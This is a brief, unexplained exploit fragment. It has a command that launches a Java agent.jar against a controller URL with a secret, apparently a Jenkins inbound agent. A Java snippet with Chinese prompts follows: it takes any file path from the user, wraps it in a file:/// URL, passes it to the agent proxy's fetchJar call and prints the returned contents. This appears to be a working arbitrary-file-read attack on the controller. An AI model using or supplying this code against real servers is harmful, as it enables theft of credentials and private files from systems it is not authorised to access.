java -jar agent.jar -url http://ip:port/ -secret <xxx> -name <xxx>

import java.util.Scanner;

try {  
    Scanner scanner = new Scanner(System.in);  
    System.out.print("输入读取文件path:");  
    String inputText = scanner.nextLine();  
    System.out.println("尝试读取:" + inputText);  
    URL jarFileUrl = new URL("file:///" + inputText);  
    byte[] fileContent = this.proxy.fetchJar(jarFileUrl);  
    String contentAsString = new String(fileContent, StandardCharsets.UTF_8);  
    System.out.println("文件内容:\n" + contentAsString);  
} catch (Exception var10) {  
    System.out.println("WRONG:" + var10);  
}